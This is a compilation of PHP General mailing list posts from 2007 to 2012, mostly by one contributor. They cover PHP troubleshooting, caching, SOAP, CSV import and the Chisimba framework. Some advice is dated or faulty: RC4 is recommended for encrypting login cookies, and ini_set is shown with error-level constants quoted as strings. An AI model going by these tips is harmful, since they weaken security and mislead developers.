Re: [PHP] Holocoste against palestinians
On Wed, 2009-01-07 at 22:51 -0800, It flance wrote: > The message is to webhosting companies, > This is not a web hosting company. > Israel is killing palestinian children. Some sites are are showing the fotos > of israel's holocoste against palestinians. > Now here is a link that shows to israelis how to fight that too: > http://www.jpost.com/servlet/Satellite?cid=1231167272840&pagename=JPost%2FJPArticle%2FShowFull > > Please be aware of that. What exactly does this inane crap have to do with PHP? I see that there is an asshole like you on almost every list that I subscribe to (many) and I am tired of politics creeping into FREE software. I think that part of MY FREEDOM that you are infringing on is my FREEDOM from politics. If I was interested in this crap, I would subscribe to an APPROPRIATE list. Thank YOU and good luck. -- Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] First steps towards unix and php
On Fri, 2009-01-09 at 07:50 -0500, Daniel Brown wrote: > I'd take SMART or urpmi over yum as well, for the record. First choice is ./configure && make && make install, second choice is apt -- Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] First steps towards unix and php
On Fri, 2009-01-09 at 14:53 +0200, Paul Scott wrote: > First choice is ./configure && make && make install, second choice is > apt > Even better, of course, is the: "Yo sysadmin intern! Install for me please and don't screw it up" -- Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] on Mapserver and php5_MapScript
On Fri, 2009-01-09 at 14:15 -0500, Eduardo Arévalo wrote: > As I write this line is highlighted in black php5_MapScript > You should probably ask this on the UMN Mapserver lists at mapserver-us...@lists.osgeo.org but... > ; > $jStyle->outlinecolor->setRGB(200, 200, 200); You are setting an outline colour, but the style you are using does not allow it to be displayed. Basically all you are getting is the outline and not the fill. I suggest you read the excellent mapfile docs or ask on another list. -- Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: hello
On Fri, 2009-01-09 at 18:15 -0500, Phpster wrote: > -12C in Toronto > Meh! 30C - 35C in Cape Town, South Africa almost every day for the last month. It has been a scorcher this year! -- Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] ANN: Chisimba-2.1.0 release!
The next release of the Chisimba PHP5 framework is now available (Chisimba-2.1.0). Major enhancements included in this release are: - Numerous enhancements to the database abstraction layer for increased performance - Numerous core bugfixes and enhancements - Patch descriptions added in module catalogue - Layout and skin enhancements - Increased security and RC4 encryption of session data - Complete authentication system overhaul - "Remember me" functionality added - URL rewriting - Remote popularity contest module - Additional filters for rich content - Some installer fixes and, of course, new modules to add onto your installation! Please take a look, download it and give it a test drive! Chisimba, for those that don't know it already, is a PHP5 framework made in Africa, for Africa. It is a collaboration between around 16 African Universities, as well as around 35 active developers from around the continent. It can be downloaded from AVOIR at: http://avoir.uwc.ac.za/ and the documentation can be found at: http://avoir.uwc.ac.za/index.php?module=news&action=viewcategory&id=gen14Srv6Nme27_7167_1219410313 There are server setup instructions, as well as installation walkthroughs available linking from the main AVOIR site: http://avoir.uwc.ac.za/index.php?module=news&action=viewcategory&id=gen14Srv6Nme27_2077_1219410069 For those interested in developing a module, or just getting some additional info please take a look at: http://avoir.uwc.ac.za/index.php?module=news&action=viewcategory&id=gen14Srv6Nme27_6705_1226737050 -- Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] E-Mail Attachment Filename Encoding Problem
On Tue, 2009-02-17 at 10:30 +, Richard Heyes wrote: > > The *other* white meat? > > Sorry, no idea what that means. > Cats are the other white meat. Sorry have flu, may be delirious -- Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] E-Mail Attachment Filename Encoding Problem
On Tue, 2009-02-17 at 10:19 +, Richard Heyes wrote: > There's no reason not to use it - it works for a good many people. And > a few cats too. The *other* white meat? -- Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/public/portal_services/disclaimer.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Strange charecters
On Wed, 2009-03-04 at 10:09 +0530, Chetan Rane wrote: > I am using ob_start() in my application. However I am getting this error > about headers already sent. > _Any_ output will set that error off. Check for Notices, Warnings, echo's, prints and var_dumps in your code. -- Paul -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] User Authentication across multiple server
On Fri, 2009-03-06 at 10:09 +0100, Edmund Hertle wrote: > The only method which possibly could work and came to my mind was using > somehow $_GET parameter for username and password (encrypted). Set a cookie and crypt that (RC4 works well) and then check for the cookie on both sites. Kind of like a "Remember me" type deal -- Paul -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP MySQL 500 Internal Error
On Thu, 2009-06-18 at 22:10 -0400, Shawn Simmons wrote: > Wrote a small script to connect to the MySql database. Tried to run the > script (http://localhost/dbscript.php) and I get a 500 Internal Server > error. I have been up and down the web for two days looking for a solution > and I am completely frustrated. I HAVE to be missing something. PLEASE > PLEASE PLEASE help. Thanks. > Check permissions and ownership on the file. That often happens when the permissions are set to 0777 as opposed to 755 (in *nix speak), so check that the webserver user has read and execute access on the file and that it ownds the directory etc -- Paul http://www.paulscott.za.net http://twitter.com/paulscott56 http://avoir.uwc.ac.za -- -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Writing to a file
Jason Carson wrote: > How would I go about writing stuff to a file but in between the > tags? > http://www.php.net/file_put_contents -- Paul http://www.paulscott.za.net/ http://twitter.com/paulscott56 http://avoir.uwc.ac.za -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Epiphany - a salute to APC
Eddie Drapkin wrote: > if you want a pure opcode cache, APC is a great choice. > >> you think this is similar to http://www.danga.com/memcached/ or you think >> this method would be faster ? Which do you say would be the greatest >> benfit ? >> A simple rule of thumb that I use is: If you have one machine and medium to large traffic loads, go APC If you have more machines for caching servers (dedicated) and large to holy mofo loads, then go MemcacheD This ALL assumes that you have followed a logical scalability plan and have separate DB servers, app servers and possibly even using a CDN or something beforehand. -- Paul http://www.paulscott.za.net/ http://twitter.com/paulscott56 http://avoir.uwc.ac.za -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHPBB Speed Issues
Ashley Sheridan wrote: > I've optimised the images in the template, enabled the GZ compression, > and it's only improved the speed by a mere fraction. I have noticed that > the page itself doesn't display until after this delay, so I was > guessing that I could maybe force the buffer to flush at key intervals > to give the impression the pages are loading faster. Does anybody have > any insights into this? To bring things more on topic, why not rather have a discussion about general scalability? 1. Cache as much as you can (everything) 2. Minimise HTTP requests 3. Use an opcode cache like APC 4. Use a RAM based cache system like memcacheD and give your db a breather 5. FINALLY, throw more hardware at it. -- -- Paul http://www.paulscott.za.net/ http://twitter.com/paulscott56 http://avoir.uwc.ac.za -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Dan Brown
Daniel Brown wrote: > (behind schedule) and distribute refunds to clients. Having a baby is > difficult enough; having a baby and a career is more difficult; having > a baby and working as a freelancer or owner/operator of a company is > the epitome of masochism --- I'm learning that quite thoroughly > through experience. > Congratulations! Welcome to the club :) We just had a very similar (we don't have a basement) experience with baby #2, so I feel you! It gets better, sleep is for sissies anyway :) -- -- Paul http://www.paulscott.za.net/ http://twitter.com/paulscott56 http://avoir.uwc.ac.za -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Exceptions: How much is too much.
On Fri, 2007-01-05 at 00:44 -0500, Craige Leeder wrote: > The question is: How much is too much. Should I use Exceptions to > handle all of my error reporting/triggering? How about catching them? > I mean, if I'm using Exceptions for all of my error handling, I could > easily end up wrapping my entire script in a try block(or at least > having almost all my end-code within a number of them). Not sure if I am doing it correctly either, but, what I do is use try/catch blocks to instantiate all of the objects that I need and then let the script take over. I also use exceptions to handle SQL errors in my db abstraction object(s). That way, only real messes are caught and the script then displays a graceful exit page to the user instead of screen vomit that may scare them off. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] REST, SOAP or XML-RPC?
I am developing a webservice like module for our framework that will enable downloads of module code into the framework modules from a remote server. Basically what this should do is: 1. User requests a list of available stable modules from server 2. User clicks on install from the returned list 3. Client code will download a tgz/zip module and plonk it in the users modules directory (taken care of) 4. Framework then unzips/untars it and installs (taken care of) My question here is... For the server/client code, I am thinking around REST (much the same way as the PEAR channel server works). Is this the wisest choice? Should I rather go with FTP or a mail request or something? If I go for FTP, that will require the PHP FTP extension, how common is that in shared hosting environments? The file size of a typical module is around 100k, and we must take into account that this is in/for bandwidth starved Africa. Is REST/SOAP robust enough to do that? Any help would be greatly appreciated! --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: REST, SOAP or XML-RPC?
On Sun, 2007-02-04 at 23:00 -0600, Gregory Beaver wrote: > Why not use PEAR itself? The last chapter of my book > (http://www.packtpub.com/book/PEAR-installer) is a step-by-step tutorial > on designing just such a module that would allow downloads of module > code from a remote server. It also includes all the code, which is > publicly and freely available from the pear.chiaraquartet.net channel > (package MyBlog). The code is a useful example of embedding the PEAR > installer and of designing customized REST, but it might be tricky to > understand the design methodology without the prose of the book. Greg, Thanks. I have actually already set up a PEAR channel server a year (or more) back when the channel server code was first released. I never really got round to playing with it much, but now seems as good a time as any! ;) My vision was to actually package the entire framework and all modules as packages on that server, but at the time, I was really busy, and didn't really look into it as hard as I should have...My main concern was that some of our users/partners were struggling with installing PEAR as it was, and our framework is basically glue that holds *most* of the PEAR packages together and then some on top of that. If there is a more elegant way of integrating the PEAR installer etc into the framework, as a plugin module, you would have answered my prayers! I will take a look at your book as well. Is there somewhere I can buy it from as well? We are soft funded GPL project, and as such we have a huge budget for literature that we hardly use. I would like to support PEAR and its developers in other ways too (not just patches, bug reports and testing...) I will hack around with the code a while and see what I can come up with. I don't really want to spend so much time on this that it becomes a mission, and I _know_ that PEAR works elegantly... Thanks again for your input. I will let you know what happens. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] REST, SOAP or XML-RPC?
On Sun, 2007-02-04 at 23:00 -0600, Richard Lynch wrote: > Presumably one can choose to install only some of the options. > > Of course, now you're into the wonderful land of module > dependencies... Good luck! > Module dependencies are sorted out by the framework already. We have modelled our dependency issues around debian's aptitude, although in text/php... > REST should be fine. > > You should perhaps design it modularly enough that swapping in SOAP or > RPC would not be too difficult. > Yes, I think that that would probably be wise. Most of our code is designed in this way anyway, like we have 3 different WYSIWYG editor choices as well... > I don't think you'll need FTP in PHP... > > Your client code can just download with fopen/fread, same as it > already is doing the tar.gz files... > > You're more likely to be bitten by hosts turning off allow_url_fopen > though. Oh yeah, forgot about that one! > I believe REST is the most light-weight bandwidth of the REST/SOAP/RPC > crowd... I believe so too. I am taking a look at hacking around with the PEAR channel server code. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Any Internal search engine in PHP?
On Sat, 2007-02-10 at 09:47 -0500, tedd wrote: > >I had been trying some search engines for internal searches within my > >website. I tried google co-op which failed as the results were showing on > >supplemental index. The one provided by cpanel does not show more than 2-3 > >URLs in results. Please advice if you know about any php based search engine > >that can index my pages internally. Certainly an open source one. > http://sperling.com/examples/search/ > We have integrated Apache Lucene into our framework, based on the Zend_Search code found in the Zend Framework. It works really well, and is pretty easy to use. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Question on Portfoilo's
On Mon, 2007-04-09 at 22:45 -0300, Davi wrote: > Em Segunda 09 Abril 2007 22:36, Larry Garfield escreveu: > You can't live for and from only open source projects... Why not? I do... --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] php5 oop question
On Wed, 2007-04-11 at 23:22 -0700, Jim Lucas wrote: > Has anybody else seen this style of syntax? > http://5ive.uwc.ac.za/index.php?module=blog&action=viewsingle&postid=init_8059_1163957717&userid=5729061010 I don't think that its really useful for anything, except maybe creating overly complex SQL queries. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Cheap Ping
On Thu, 2007-04-12 at 23:16 -0600, [EMAIL PROTECTED] wrote: > Any other suggestions? cURL. http://www.php.net/curl That will allow all the configs and stuff to be set, and you get the response in a neat variable that you can then test. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP RAD framework
On Fri, 2007-04-13 at 22:26 +0800, Man-wai Chang wrote: > Any recommendation? Smarty Templates help a bit, but still need lots of > coding... http://avoir.uwc.ac.za All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Happy New Year All!
Bipper Goes! wrote: > return ThankYou; > > > Oh god I think I blowed it up. I prefer: http://www.paulscott.za.net http://twitter.com/paulscott56 http://avoir.uwc.ac.za All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal
Re: [PHP] Happy New Year All!
--=neXtPaRt_1262280971 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Robert Cummings wrote: > > Oh dear... that's terribly inefficient... Here's a better stab: True, but my design criteria included that it needed to fit into a 140 char tweet too... -- -- Paul http://www.paulscott.za.net http://twitter.com/paulscott56 http://avoir.uwc.ac.za --=neXtPaRt_1262280971 Content-Type: text/plain; All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal
Re: [PHP] Intentionally generate an "Internal Server Error"
On Sun, 2011-08-07 at 07:30 +0100, Ashley Sheridan wrote: > Quickest way I know of is to mess up an .htaccess file! Another good way to do it on shared hosts is to give a file incorrect permissions and try and access it -- -- Paul http://www.paulscott.za.net http://twitter.com/paulscott56 http://www.chisimba.com signature.asc Description: This is a digitally signed message part
Re: [PHP] Critical Error
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On 28/03/2012 17:59, Karl James wrote: > > MYSQL: Duplicate entry for '0' for key 1. > > MYSQL: Insert Error - Duplicate entry '0' for key 1,. Simply means that you are trying to insert a database entry into your database table that already exists, for the primary key field (look at ID or something like that) This is a MySQL problem more than a PHP one, but there you go (I have been largely absent from this list for a long time, so starting off slowly again) ... - -- - -- Paul http://www.paulscott.za.net -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iQEcBAEBAgAGBQJPcznzAAoJEP24vLf5r1PRD9oH/jdPx1JmLk60MgwrojgPMc61 gdt416IyZVVe+d0z2YQ3Hep+T1otd8ibqnEb0nrl3URZoa2Bc+8OsCi9qTlcl/ts qa+MgUd6if5/FBbev02f/39xBHrYtNm/3EPDuF/sFP1bZrXAYmOyze0pI50LU9Ki 5F/UyTjaa0l7mRA0MhcIOr0Q1+ouRDKPrTrPV/NKqhMSxkinzmcOEuIcpfxd78yD ELiPS2GUuieusrFkrlHFq6DGoS2Kk8mtZa7Pu9FqYjCUdOUJCeuPlJlCRi5FRWxG DFesqV3Xj2FxMLE2h0sTek4NNX6PvM7tlCEzgEy7QnjbqH8RPLGI+6B9M1WIWqg= =0ACX -END PGP SIGNATURE- -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Need PHP & Web Developer in So Cal
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On 28/03/2012 18:04, Michael Frankel wrote: > Hi - > > I am looking for a reliable, experienced PHP / Web developer or > development company to assist me with one of my long-time clients. > I need someone who has experience with all the following > technologies working in a hosted environment: [snip] > - Can be responsive to client emergencies - NOTE: this is the MOST > important quality Translates to "we will be phoning you at 2am and you are expected to be there with a smile on your face for the client" Am I right? Yeah, I know I am... ;) - -- - -- Paul http://www.paulscott.za.net -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iQEcBAEBAgAGBQJPczphAAoJEP24vLf5r1PRd6IH/3tLKoRDrL5R/fcjYop8RyLE Bux+xJ/N6qkMr3aYOGq/k7C6StFZGK2WqxftqJW38qakWqnpX35ZseezsQyQ70Ek ZZossCFAQ/n3DqXNeB3RDRGfVODEKEIlAGvYnwFK04VW/bsUU69o+ac7pffN7yYu i/622+4ssSRPafMv6t1kX/w/DlfhzGyrAKGLbibM5uX4l1cNmM/YEkPzyiu/ySFd 8L9dI+N5j0vStJUh1jRpi08EoZJXGTjMtBfOGvYgjD1bnAl+K8nGYx9irGXfpBej GaKRGAcP7ZxFmUl61bGyrK2ijUATbjAckfi/2z6DHmuJNr0TdnqEF545t77MrcQ= =sEhx -END PGP SIGNATURE- -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Web Service with PHP4 suggestions wanted.
On Thu, 2007-08-16 at 09:55 +0200, Mattias Hakansson wrote: > So I request some suggestions from any one that has experience with this > on what web service library/extension you would chose with PHP 4 ? > I read about nuSOAP but it seems they are not any longer maintaining the > source ? since the last update was > 2 years ago. > I have used nuSoap in our PHP4 framework extensively and it works extremely well for SOAP services. The other option is to use the PECL extension (although I cannot comment on it in PHP4). I made some slight hacks to nuSoap that made it a little more useful within the context of our framework (MVC) but you probably won't need them. AFAIK there are some decent blog posts around how to use it well, but for the life of me can't remember where (scottnichol.com or something??) If you need help with it, let me know, and I will send you some code samples that we used to develop with (client and server) off list. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] PHP and SOAP calls
On Fri, 2007-08-24 at 07:55 +0200, Angelo Zanetti wrote: > I have been using nusoap to development a client that makes SOAP calls > to a server. I have however been stuck on a small issue but can't seem > to solve it and therefore I need to relook at using another package to > get a solution. > Instead of starting again, what is your small issue? Can that not be solved rather? --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Chisimba Framework Release
The next release of the Chisimba PHP5 framework is now available. Major enhancements included in this release are: - Memcache support - Better caching of language items - Improved database performance - Bug fixes - Better code documentation - API docs - First draft of the Chisimba Book for Developers - XML-RPC API for the Blog module - Context improvements - Code cleanup and, of course, new modules to add onto your installation! Please take a look, download it and give it a test drive! Chisimba, for those that don't know it already, is a PHP5 framework made in Africa, for Africa. It is a collaboration between around 16 African Universities, as well as around 35 active developers from around the continent. It can be downloaded from AVOIR at: http://cvs2.uwc.ac.za/chisimba_releases/chisimba_framework_1-0-4.tgz http://cvs2.uwc.ac.za/chisimba_releases/chisimba_modules_1-0-4.tgz (or .zip if you prefer that format) and the doc wiki can be found at: http://avoir.uwc.ac.za/avoir/index.php?module=wiki There are server setup instructions, as well as installation walkthroughs available linking from the main AVOIR site: http://avoir.uwc.ac.za/avoir/index.php?module=cms&action=page&id=gen12Srv48Nme23_207 For those interested in developing a module, or just getting some additional info please take a look at: http://avoir.uwc.ac.za/avoir/index.php?module=cms&action=page&id=gen12Srv48Nme23_208 All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Using PHP to determine if user has Java installed
On Wed, 2007-09-05 at 20:41 -0400, tedd wrote: > >Java Runtime Environment == Java > >JavaScript != Java > > How about something like: if ( navigator.javaEnabled() ) { alert('JRE is installed!'); window.location="page_with_a_JAVA_applet"; } else { alert('JRE is not installed!'); window.location="error_page"; } All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Very Large text file parsing
I have a very large text file that gets dumped into a directoory every now and then. It is typically around 750MB long, at least, and my question is: What is the best method to parse this thing and insert the data into a postgres db? I have tried using file(), fget*() and some others, all with limited success. It goes through OK (I am sending it to a background process on the server and using a callback function to email me when done) but it is really knocking the machine hard, besides taking a real long time to finish. Is there a better way of approaching this? Any help would be greatly appreciated. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Very Large text file parsing
On Thu, 2007-09-20 at 12:50 +0100, Edward Kay wrote: > In addition to Martin's good suggestions (and also assuming you're running > php-cli via cron), you could use nice to stop it consuming too many > resources: > This is the current approach that I am taking, was just really wondering if there was some kind of voodoo that would speed things up a bit. Thanks both for your responses, appreciate it! --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP] Very Large text file parsing
On Thu, 2007-09-20 at 08:03 -0400, Robert Cummings wrote: > Post some samples of the data you are parsing and a sample of the code > you've written to parse them. If you're parsing 750 megs of data then > it's quite likely you could squeeze some performance out of the parse > routines themselves. Today's dataset is in a CSV (tab separated) , so I am using fgetcsv, it looks like this (geo data): 936374 Roodepoort Roodepoort Roodeport-Maraisburg-26.167 27.867 P PPL ZA ZA 06 0 1759Africa/Johannesburg 2004-05-11 Code: [SNIP] $row = 1; $handle = fopen($csvfile, "r"); while (($data = fgetcsv($handle, 1000, "\t")) !== FALSE) { $num = count($data); $row++; $insarr = array('userid' => $userid, 'geonameid' => $data[0], 'name' => $data[1], 'asciiname' => $data[2], 'alternatenames' => $data[3], 'latitude' => $data[4], 'longitude' => $data[5], 'featureclass' => $data[6], 'featurecode' => $data[7], 'countrycode' => $data[8], 'cc2' => $data[9], 'admin1code' => $data[10], 'admin2code' => $data[11], 'population' => $data[12], 'elevation' => $data[13], 'gtopo30' => $data[14], 'timezoneid' => $data[15], 'moddate' => $data[16] ); $this->objDbGeo->insertRecord($insarr); //$arr[] = $data; } fclose($handle); --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Very Large text file parsing
On Thu, 2007-09-20 at 09:54 -0300, Martin Marques wrote: > If not, you should just use the COPY command of PostgreSQL (you are > using PostgreSQL if I remember correctly) or simply do a bash script > using psql and the \copy command. > Unfortunately, this has to work on all supported RDBM's - so using postgres or mysql specific functions are not really an option. What I am trying though, is to add a function to do batch inserts as per Rob's suggestion into our database abstraction layer, which may help things a bit. Thanks --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Very Large text file parsing
On Fri, 2007-09-21 at 15:51 +1000, Chris wrote: > (Personally I'd use perl over php for processing files that large but > that may not be an option). Thanks for all of the suggestions, I seem to have it working quite well now, although the client has just contacted me and said that they had "made a mistake". The 700+MB file is only an initial file, and all subsequent files will only be about 1.9MB long in future, which is much easier to handle without a problem. Thanks to all for the suggestions - I now have to figure out the best way to manipulate every single record in that table (now over 6.5 million rows) to add in a field (RDBMS function in C - so much easier)... Thank you all, I really appreciate the help! --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Very Large text file parsing
On Fri, 2007-09-21 at 08:34 +0200, Paul Scott wrote: > Thanks to all for the suggestions - I now have to figure out the best > way to manipulate every single record in that table (now over 6.5 > million rows) to add in a field (RDBMS function in C - so much > easier)... > Oh, and by the way, adding a hash key to a memcache server on 6.5 million records is quite a heavy exercise - that played a role. I am also trying to optimize that little bit too, as it will also help in lookups in future (just a heads up to anyone else attempting such folly in future). --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Very Large text file parsing
On Fri, 2007-09-21 at 08:42 +0200, Per Jessen wrote: > Isn't that just an ALTER ? Its a little more complex than that, as I have to actually create WKB from the data, so no, not just an ALTER unfortunately. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Data request
On Mon, 2007-09-24 at 14:14 +0100, Stut wrote: > Have you tried Google? It knows a lot about most things and a little > about the rest. Also try have a look at the models used in flightgear - http://www.flightgear.org --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Data request
On Tue, 2007-09-25 at 09:17 -0400, Robert Cummings wrote: > Oh sure, and now when I'm searching for "shit" I'll get all these > Henry's cat references *bleh*. > Well then why not tie in "coprophilia" as well? ugh. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] SOAP in PHP on very restricted host?
On Wed, 2007-09-26 at 13:26 +0900, David Christopher Zentgraf wrote: > But I just found out about NuSOAP (http://dietrich.ganx4.com/ > nusoap/), which seems to be what I'm looking for, a no-strings- > attached SOAP implementation. I'm trying my luck with this one for > now. :) If you are using nuSoap on PHP5, be sure to change the class names etc, otherwise you will get conflicts in our namespaceless world. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] languages and PHP
On Thu, 2007-09-27 at 12:15 +0200, Angelo Zanetti wrote: > What are the implications of having a site that has many different > languages, including latin and non latin characters? Keep everything as universal (UTF-8) as possible, and make sure that you code for right-to-left languages as well. --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] error messages
On Thu, 2007-10-04 at 22:38 -0700, tbt wrote: > I'm a newbie to php and i would like to know a way of viewing runtime errors > on the browser. Currently when an error occurs nothing is displayed on the > browser. Is there any way of viewing all error messages on the browser > itself. > You can up the error_reporting level in your php.ini, or you can simply put the following line at the top of your script: ini_set("error_reporting", "E_ALL"); or for an even stricter setting: ini_set("error_reporting", "E_STRICT"); --Paul All Email originating from UWC is covered by disclaimer http://www.uwc.ac.za/portal/uwc2006/content/mail_disclaimer/index.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] evil script in server logs (Heads Up)
